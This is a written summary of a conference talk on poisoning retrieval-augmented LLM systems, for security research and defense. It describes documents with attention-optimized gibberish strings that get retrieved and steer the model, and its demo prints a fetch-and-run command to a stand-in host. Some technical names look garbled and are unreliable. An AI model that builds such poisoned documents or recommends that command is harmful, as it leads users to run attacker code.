One Poisoned Artifact Can Steer Your AI: How Robust Are Your LLM-Assisted Security Workflows?

One Poisoned Artifact Can Steer Your AI: How Robust Are Your LLM-Assisted Security Workflows?

Speakers: Cheng-Lin Yang (Data Scientist, CyCraft AI Lab); Yen-Shan (Lily) Chen (Data Scientist, CyCraft AI Lab)

Conference: FIRSTCON

YouTube: https://www.youtube.com/watch?v=fcHRm80WnaU

Overview

In an era where Artificial Intelligence is rapidly integrating into critical enterprise functions, particularly in cybersecurity, the robustness and reliability of these systems are paramount. This talk, "One Poisoned Artifact Can Steer Your AI: How Robust Are Your LLM-Assisted Security Workflows?", presented by Cheng-Lin Yang and Yen-Shan (Lily) Chen from CyCraft AI Lab, delves into a critical, yet often overlooked, vulnerability in Large Language Model (LLM)-powered applications, specifically those leveraging Retrieval Augmented Generation (RAG). The research highlights how a single, subtly malicious document can compromise an entire AI system, steering its responses to serve an attacker's agenda.

The speakers systematically unpack the mechanics of this novel poisoning attack, demonstrating how an attacker can manipulate the internal attention mechanism of LLMs to achieve both successful retrieval of malicious content and subsequent generation of harmful outputs. This has profound implications for organizations adopting AI-driven Security Operations Centers (SOCs), HR chatbots, and other internal knowledge-based systems. The talk serves as a stark warning and a call to action for security professionals to re-evaluate the foundational safety of their AI deployments, especially concerning the integrity of their knowledge bases.

The significance of this research cannot be overstated. As major enterprises like Palo Alto Networks and IBM shift towards "AI-driven SOC" solutions, the attack vectors targeting these systems evolve. The presented findings move beyond theoretical exploits, illustrating how a compromised RAG system can transition from merely providing incorrect information to posing real business risks, including financial liability and data breaches, as evidenced by real-world incidents such as the Air Canada chatbot lawsuit and misconfigurations in GitHub Copilot. Understanding and mitigating these sophisticated poisoning attacks is crucial for building resilient and trustworthy AI workflows in cybersecurity and beyond.

Background

▶ Watch: Understanding RAG's role in AI-driven security operations. (2:50)

The increasing adoption of AI, particularly Large Language Models (LLMs), within enterprise environments—especially in critical domains like cybersecurity—has introduced new paradigms for efficiency and threat response. However, this shift also brings novel security challenges. The talk begins by contextualizing the prevalence of LLM usage, noting that major players like Palo Alto Networks and IBM are actively transitioning to AI-driven SOC solutions. A cornerstone technology underpinning many of these advanced applications is Retrieval Augmented Generation (RAG).

RAG fundamentally enhances the capabilities of LLMs by providing them with access to external, up-to-date, and domain-specific knowledge bases. Unlike a standard LLM query where the model relies solely on its pre-trained knowledge, a RAG system first retrieves relevant documents or "artifacts" from a dedicated knowledge base based on the user's query. These retrieved documents are then fed into the LLM as context, enabling it to generate more accurate, factually grounded, and current responses. This augmented retrieval process addresses several key limitations of standalone LLMs:

• Dynamic Knowledge: LLMs have a knowledge cutoff date from their training data. RAG allows for real-time updates with the latest information, crucial for fast-evolving fields like cybersecurity.
• Privacy and Security: Enterprises can keep sensitive data within their own infrastructure, preventing it from being exposed to commercial LLM providers.
• Cost Efficiency: RAG mitigates the need for frequent and expensive fine-tuning of LLMs to update their knowledge.
• Factual Grounding: It ensures that LLM responses are rooted in verifiable information from the knowledge base, reducing hallucinations.

The widespread adoption of RAG is evident in the numerous open-source RAG-powered LLM applications available on platforms like GitHub, making it easy for organizations to implement such solutions. However, this ease of adoption often overlooks critical security considerations. The speakers emphasize why RAG safety is particularly vital for enterprises:

1. High User Confidence: Employees tend to have greater trust in responses from internal RAG systems, perceiving them as authoritative and less likely to challenge their outputs.
2. Organization-Wide Access: RAG systems, such as HR chatbots, are often designed for broad access across departments, making isolation difficult and increasing the potential impact of a compromise.
3. Knowledge Base Modification: In many enterprises, various employees have permissions to modify internal knowledge bases (e.g., Jira, wikis). This creates an easy entry point for malicious actors or disgruntled insiders to subtly alter information.

The risks associated with compromised RAG systems are no longer theoretical. The talk cites several real-world incidents:

• Air Canada Chatbot Incident (2024): The airline's chatbot provided incorrect refund information to a customer, leading to a lawsuit where the Canadian court ruled Air Canada liable for the chatbot's wrongful advice, highlighting the business risk of erroneous AI responses.
• GitHub Copilot "Common Leak" (2025): A misconfiguration in Copilot's RAG system reportedly led to the unintentional exposure of GitHub's internal source code base.
• Google Gemini Leak (2025): An attack leveraged sophisticated artifacts and social engineering to trick users into clicking malicious links by matching and retrieving important information from their Google Workspace (Sheets, Docs, Calendar).

These incidents underscore that an "incorrect" RAG response has transitioned from a mere inconvenience to a significant business and security risk. The presentation then illustrates the typical workflow of a SOC analyst, who might use an LLM agent for tasks like cyber threat intelligence, system alert summarization, phishing analysis, or endpoint forensics. An LLM agent, augmented by RAG, can access diverse internal documents—vendor patch notes, public threat write-ups, internal server documentation, email header files, and code repositories—to provide factually grounded reports. The example of the Light LLM supply chain attack (malicious 1.82.8 package scraping credentials) is used to demonstrate how an analyst might query the RAG system about patching needs. In a normal scenario, the RAG system would retrieve relevant internal asset inventory, threat intelligence, and vendor patch notes to correctly inform the analyst that their servers (e.g., using 1.7.3) are safe.

However, the core vulnerability lies in the database itself. An attacker can create a malicious document and inject it into the RAG database. This injection can occur through an insider with access or by uploading adversarial content online that is subsequently scraped by the company's RAG system. Once injected, this "poisoned artifact" can be retrieved by the LLM agent, leading to malicious or misleading outputs. Instead of confirming server safety, the LLM might suggest running an unsafe bash script from an attacker-controlled endpoint. The motivations for such attacks are varied, including spreading false information, causing system malfunction, steering public opinion, data theft, or conducting phishing campaigns.

Key Findings

▶ Watch: How malicious documents poison RAG systems. (16:30)

The central discovery of this research is that RAG systems are vulnerable to sophisticated poisoning attacks that manipulate the internal workings of LLMs, specifically their attention mechanism. A single malicious document, subtly crafted and injected into an enterprise's knowledge base, can be sufficient to compromise the integrity and reliability of an entire AI-driven workflow.

The attack model, termed "RAG poisoning," operates on two critical objectives that must both be successfully bypassed:

1. Retrieval Success: The malicious document must be successfully retrieved by the RAG system's retriever component in response to a user's query. If the document is not selected, the attack fails immediately.
2. Generation Influence: Once retrieved and included in the LLM's context window, the malicious content must successfully influence the generator (the LLM itself) to produce a malicious output as intended by the attacker.

To achieve these dual objectives, the researchers designed a poisonous document structure consisting of two key parts:

• Retriever Bait: This section contains content designed to attract the retriever, making the document appear highly relevant to a target query.
• Malicious Instruction: This part contains the actual harmful directive, intended to guide the LLM's generation towards a malicious output (e.g., executing a dangerous command or visiting an attacker-controlled endpoint).

The breakthrough in this attack lies in leveraging the attention mechanism inherent in modern transformer-based LLMs. The attention mechanism determines which parts of the input a model focuses on when generating its output. By strategically optimizing specific, seemingly random character sequences (referred to as "quotation marks" or "gibberish strings") within the document, attackers can:

• Force the retriever's attention onto the retriever bait, thereby maximizing the document's perceived relevance and increasing its retrieval rank.
• Force the generator's attention onto the malicious instruction, ensuring the LLM prioritizes this harmful directive during its response generation.

Experimental results rigorously demonstrate the effectiveness of this approach. Before any optimization, a malicious document might have an average retrieval rank of 15 out of 500 documents, with an 18% attack success rate (the downstream generator producing a malicious output). After applying retriever optimization (targeting the retriever bait), the average retrieval rank dramatically improved to number 2. This initial optimization alone increased the overall attack success rate to 35%. Crucially, following generator optimization (targeting the malicious instruction), the end-to-end attack success rate soared to an impressive 86%. This represents an overall 68% increase in attack success rate from the baseline, confirming that the attention mechanism is a potent and exploitable attack surface.

The overarching key finding is that the presence of just one poisoned artifact within a RAG system's knowledge base is sufficient to "steer your AI" towards malicious outcomes. This highlights a critical vulnerability in the assumption of knowledge base integrity and the need for robust defenses beyond traditional input sanitization.

Technical Deep Dive

▶ Watch: Designing the poisoned document: bait and instruction. (20:00)

The core innovation of this attack lies in its exploitation of the attention mechanism within transformer-based LLMs and retrievers. This mechanism dictates how models weigh different parts of their input when making decisions or generating text. The researchers devised a method to manipulate this attention to achieve their dual objectives: successful retrieval and malicious generation.

The attack leverages two distinct sets of "quotation marks" – specially optimized, seemingly random strings of characters – within the poisonous document:

1. Retriever Optimization (Light Purple Quotation Marks): These marks are strategically placed around the retriever bait section of the document. The goal is to optimize these strings such that when the retriever component processes the document, its attention is maximally concentrated on the retriever bait. This increased attention makes the document appear highly relevant to a user's query, thereby boosting its retrieval likelihood and rank within the knowledge base. The optimization process aims to maximize the similarity score between the query and the document, effectively tricking the retriever into prioritizing the malicious artifact.
2. Generator Optimization (Pink Quotation Marks): These marks enclose the malicious instruction section. Once the document is retrieved and passed to the LLM (generator), these optimized strings guide the LLM's attention directly to the malicious command or directive. This ensures that the LLM prioritizes and processes the malicious instruction during its response generation, leading to the intended harmful output.

To achieve this fine-grained control over attention, the researchers employed techniques inspired by jailbreak literature, specifically GCG (Gradient-based Continuous Gating) or similar discrete optimization methods. These methods iteratively update the "quotation mark" tokens to maximize a target objective. For the retriever, the objective is to increase the attention on the retriever bait and, consequently, the document's retrieval likelihood. For the generator, the objective is to maximize the LLM's attention on the malicious instruction, thereby increasing the probability of generating the malicious output.

The structure of a poisonous document therefore looks like this:

[Optimized Retriever Start String] [Retriever Bait (e.g., legitimate news about an incident)] [Optimized Retriever End String]

[Optimized Generator Start String] [Malicious Instruction (e.g., "urgent users must run this malicious command")] [Optimized Generator End String]

The experimental setup involved constructing a comprehensive corpus for a simulated SOC environment. This corpus included:

• CTI Bench: A benchmark dataset of cyber threat intelligence documents.
• National Vulnerability Database (NVD): Documents detailing CVEs.
• Ransomware.live: Information on ransomware incidents.
• Threat Feeds: Real-time threat intelligence.
• Fabricated Documents: Anchor documents specifically related to target topics (e.g., the Light LLM attack) to ensure sufficient context in the database.

For the RAG system components, the researchers used:

• Retriever: A BC embedding base model.
• Generator: A Qwen 34B LLM.

The attack flow, as demonstrated, proceeds as follows:

1. A legitimate query (e.g., "What is the status of the recent Light LLM supply chain incident?") is made to the RAG system.
2. The optimized "quotation marks" surrounding the retriever bait manipulate the BC embedding base model, causing the poisonous document to be retrieved with a high rank (e.g., rank 1).
3. The retrieved document, containing the malicious instruction encapsulated by its own optimized "quotation marks," is fed into the Qwen 34B LLM.
4. The optimized strings steer the Qwen 34B's attention to the malicious instruction, causing it to generate a response recommending a dangerous action, such as executing a specific malicious bash script (curl -s -L https://example.com/malicious_script.sh | bash).

The technical depth of this attack lies in its ability to bypass both retrieval and generation stages by precisely manipulating the underlying attention mechanisms, transforming seemingly innocuous "noise" into a potent attack vector.

Demo / Proof of Concept

▶ Watch: Live demonstration of the RAG poisoning attack. (32:00)

The presentation included a live demonstration that vividly illustrated the practical application and effectiveness of the RAG poisoning attack. The demo utilized a Jupyter Notebook, making the steps transparent and reproducible.

Demo Setup:

The corpus for the RAG system was constructed from diverse sources, totaling 999 documents, with one slot reserved for the poisonous artifact. This corpus included:

• Documents from CTI Bench, a cybersecurity threat intelligence benchmark.
• CVE documentation from the National Vulnerability Database.
• Information from Ransomware.live.
• Various threat feeds.
• Fabricated documents to ensure sufficient "anchor" content related to the target incident (e.g., the Light LLM supply chain attack).

The RAG models used were:

• Retriever: BC embedding base.
• Generator: Qwen 34B.

Before the Attack:

The demonstration first showed a baseline scenario. When a user queried the RAG system about the "Light LLM supply chain incident," the system retrieved relevant, legitimate documents, and the Qwen 34B generator produced a "clean answer" that did not include any malicious URLs or commands. Even if a pre-optimization version of the malicious document was present in the corpus, it was not retrieved due to its low relevance.

Optimization Process:

The demo then visually presented the two optimization steps:

1. Retriever Attractor Optimization: A plot was shown illustrating a monotonic trend where increasing the attention to the retriever bait simultaneously increased the similarity of the document with the query, thereby improving its retrieval likelihood.
2. Generator Attention Optimization: A similar plot demonstrated how increasing the attention to the malicious instruction part correlated with a higher likelihood of the generator outputting the malicious endpoint.

After the Attack:

Following the optimization, the crafted poisonous document was injected into the corpus. When the same query about the Light LLM incident was posed:

• Retrieval: The injected document, which included the optimized "gibberish strings" surrounding the retriever bait and malicious instruction, was successfully retrieved and ranked in the first position.
• Generation: The Qwen 34B generator, influenced by the optimized "gibberish strings" around the malicious instruction, produced a highly dangerous suggestion. It advised the user to immediately patch the vulnerability by running a specific malicious command: curl -s -L https://example.com/malicious_script.sh | bash. The speaker noted that while the LLM might continue with additional legitimate information, a "lazy user" who sees the initial malicious command might execute it immediately, leading to compromise.

Attention Analysis:

The demo also included visualizations of the attention distribution within the models:

• For the retriever, its attention was heavily concentrated on the retriever bait (the "red part" on the screen).
• For the generator, its attention was primarily focused on the malicious instruction part, particularly the malicious URL or command. These plots clearly demonstrated how the optimized "quotation marks" successfully shifted the models' focus to the intended malicious sections of the document.

Potential Improvements Discussed:

The speakers also acknowledged avenues for making the attack even more sophisticated:

• Attention Head/Layer Selection: Modern LLMs have multiple attention heads and layers. A more precise optimization could target specific heads or layers for even greater impact.
• Natural Language Regularization: To make the "gibberish strings" less detectable, future work could involve restricting the optimization to natural language words or phrases, making the "quotation marks" blend more seamlessly into legitimate text.

The demo conclusively proved that a single, carefully optimized document could subvert the intended behavior of an LLM-powered RAG system, leading to dangerous outcomes.

Defensive Implications

▶ Watch: Defenses: context sanitization and outlier detection. (37:00)

The findings presented in "One Poisoned Artifact Can Steer Your AI" carry significant defensive implications for any organization leveraging LLM-assisted security workflows or RAG-powered applications. The research highlights the need for a paradigm shift in how enterprises approach the security of their AI systems, moving beyond traditional perimeter defenses to internal content integrity.

Here are the key defensive strategies and actionable items proposed:

1. Change Mindset About Random Noise:

• Security professionals often encounter "random noise" in raw logs, HTML tags, or seemingly nonsensical strings. The research demonstrates that these seemingly innocuous character sequences, when strategically optimized, can become potent attack vectors.
• Actionable Item: Do not simply ignore or clean up such noise. Recognize that these patterns can be engineered to manipulate AI models' attention. Implement monitoring and anomaly detection specifically for unusual character sequences or structures within documents destined for RAG knowledge bases.

1. Implement Context Sanitization for RAG Databases:

• The RAG database is the primary attack surface. Ensuring the integrity of documents entering this database is paramount.
• Actionable Items:
• Guardrail Models: Deploy additional AI models ("guardrail models") that act as independent inspectors within the RAG pipeline. These models can be trained to detect malicious intent, logical inconsistencies, or adversarial patterns in retrieved documents or generated responses before they reach the end-user. The OWASP AI Security Solutions provide recommended models for AI and agentic red teaming, which can serve as a starting point.
• Simple Filters: Implement robust filtering mechanisms, such as regex filters, to detect known patterns of gibberish strings or other suspicious character sequences that might indicate optimized attack vectors. While not foolproof against natural language regularization, they can catch simpler attacks.
• Content Vetting: Establish rigorous content vetting processes for all documents entering the RAG knowledge base, especially those scraped from external sources or contributed by internal users with editing permissions. Consider human review for high-risk content.
• Source Verification: Implement mechanisms to verify the authenticity and integrity of document sources.

1. Be Suspicious of Semantic Outliers:

• RAG systems typically retrieve multiple documents relevant to a query. Anomaly detection at this stage can be a powerful defense.
• Actionable Item: If the retriever returns a set of documents where most are semantically similar and aligned, but one or two are contradictory, logically inconsistent, or drastically different in meaning, flag these as potential semantic outliers. This could indicate a malicious document attempting to inject false information. Develop systems that can assess the coherence and consensus among retrieved documents and alert on significant discrepancies.

The overarching message for defenders is to understand that AI systems are not infallible and can be manipulated through their core mechanisms. Proactive and multi-layered defenses focusing on input integrity, real-time content analysis, and output validation are essential to build truly robust and reliable LLM-assisted security workflows.

Key Takeaways

• Two-Stage Attack Surface: Successful RAG poisoning requires bypassing both the retriever (to ensure the malicious document is selected) and the generator (to ensure the LLM produces a malicious output).
• Attention as an Attack Vector: The attention mechanism within LLMs and retrievers is an exploitable attack surface. Attackers can strategically optimize "gibberish strings" within a document to force models to focus on specific malicious content.
• High Attack Success Rate: Experimental results demonstrated a significant increase in attack success rate, from an initial 18% to a final 86%, proving the efficacy of leveraging attention manipulation.
• One Artifact is Enough: A single, carefully crafted poisoned artifact is sufficient to steer an entire AI system, highlighting a critical vulnerability in RAG systems.
• Random Noise is Not Harmless: Seemingly innocuous "random noise," HTML tags, or nonsense logs can be weaponized. Defenders must change their mindset and consider these as potential attack vectors.
• Implement Robust Defenses: Key defensive strategies include context sanitization (using guardrail models, simple filters like regex) for RAG databases and actively looking for semantic outliers among retrieved documents.

About the Speaker(s)

Cheng-Lin Yang is a Data Scientist at CyCraft AI Lab in Taiwan. He is responsible for leading data science and machine learning research within the company's cybersecurity domain. Cheng-Lin is an experienced researcher who frequently shares CyCraft AI Lab's security research at various technical and academic conferences, including prominent events like Black Hat US, Code Blue Japan, NeurIPS, and ISML.

Yen-Shan (Lily) Chen is also a Data Scientist at CyCraft AI Lab. Concurrently, she is pursuing her Master's degree at National Taiwan University. Her research primarily focuses on language model security and the broader field of AI security. Lily has extensive experience presenting and sharing her research and knowledge at numerous conferences and events.